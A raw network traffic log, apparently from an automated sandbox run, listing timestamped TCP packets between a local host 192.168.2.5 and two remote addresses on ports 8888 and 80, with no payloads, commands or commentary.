Jul 13, 2024 07:07:10.059058905 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059089899 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059122086 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059122086 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059123993 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059396029 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059583902 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059634924 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059683084 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059686899 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059732914 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059768915 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059801102 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059813976 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059833050 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059864044 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.059864998 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.059912920 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.140832901 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.140886068 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.140921116 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.140954018 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.140974998 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.140974998 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.140989065 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141012907 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141022921 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141057968 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141072989 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141094923 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141133070 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141155005 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141271114 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141355038 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141386032 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141402960 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141418934 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141469955 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141504049 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141519070 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.141536951 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141571045 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.141581059 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142250061 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142266035 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142282009 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142301083 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142334938 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142334938 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142402887 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142419100 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142433882 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142450094 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142460108 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142497063 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142497063 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142740965 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142767906 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142781019 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142810106 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142829895 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142838001 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142853022 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142868996 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142884016 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142911911 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142942905 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.142981052 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.142996073 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143011093 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143026114 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143040895 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143054008 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143054008 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143071890 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143076897 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143096924 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143110991 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143112898 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143194914 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143219948 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143234968 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143239975 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143274069 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143274069 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143356085 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143371105 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143384933 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143399000 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143415928 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143429041 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143466949 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143466949 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143656969 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143671989 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143686056 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143701077 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143712044 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143716097 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143731117 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143732071 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143748045 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143748045 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143763065 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143773079 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143779039 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143790007 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143795967 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143810987 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143810987 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143814087 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143830061 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143845081 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143858910 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143858910 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143877029 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143877029 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143892050 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143894911 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143908978 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143913031 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143924952 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143940926 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143942118 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143942118 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143960953 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143963099 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143979073 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.143981934 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.143994093 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144011021 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144033909 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144036055 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144051075 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144066095 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144079924 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144082069 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144082069 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144082069 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144097090 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144109011 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144109011 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144140005 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144205093 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144313097 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144328117 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144342899 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144356012 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144359112 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144373894 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144378901 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144391060 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144407988 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144407988 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144438982 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144460917 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144474983 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144501925 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144516945 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144527912 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144535065 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144551039 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144567966 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144579887 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144581079 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.144601107 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.144620895 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145543098 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145556927 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145572901 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145625114 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145646095 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145661116 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145677090 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145690918 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145706892 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145725965 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145725965 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145760059 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145772934 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145787954 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145802975 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145817041 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145819902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145819902 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145833015 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145840883 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145849943 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.145884991 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.145884991 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.146492958 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146548033 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146562099 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146585941 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146599054 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146608114 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.146615028 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146629095 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.146661043 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.146661043 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.146826982 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146840096 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.146884918 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.147368908 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147383928 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147398949 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147439957 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.147461891 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.147474051 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147489071 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147504091 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147517920 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147531986 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.147557020 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.147557974 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.147589922 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.225707054 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225756884 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225792885 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225826025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225860119 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225892067 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225924969 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225956917 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.225991011 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.226022959 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.226054907 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.226064920 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226064920 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226066113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226066113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226066113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226066113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226066113 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.226090908 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:10.226174116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:10.228954077 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229010105 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229043007 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229073048 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229073048 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229093075 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229129076 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229147911 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229163885 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229197979 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229214907 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229249001 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229278088 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229310989 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229327917 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229343891 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229350090 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229377985 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229397058 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229410887 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229418993 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229444981 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229477882 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229491949 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229631901 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229796886 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229852915 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229876041 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229926109 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229960918 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.229970932 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.229994059 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.230026960 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.230058908 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.230077028 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.230092049 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.230137110 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231272936 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231326103 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231374979 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231408119 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231439114 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231441021 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231441021 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231466055 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231491089 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231540918 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231540918 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231575966 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231623888 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231657028 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231672049 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231704950 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231755018 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231769085 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231769085 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231787920 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231822014 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231837034 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231853962 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231908083 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231940031 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.231956005 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.231972933 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232004881 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232018948 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232053995 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232088089 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232121944 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232136965 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232153893 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232187986 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232213020 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232220888 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232254028 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232268095 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232285976 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232335091 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232340097 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232367992 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232384920 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232400894 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232418060 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232436895 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232512951 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232546091 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232559919 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232559919 CEST	58985	8888	192.168.2.5	43.153.49.49
Jul 13, 2024 07:07:10.232578993 CEST	8888	58985	43.153.49.49	192.168.2.5
Jul 13, 2024 07:07:10.232582092 CEST	58985	8888	192.168.2.5	43.153.49.49
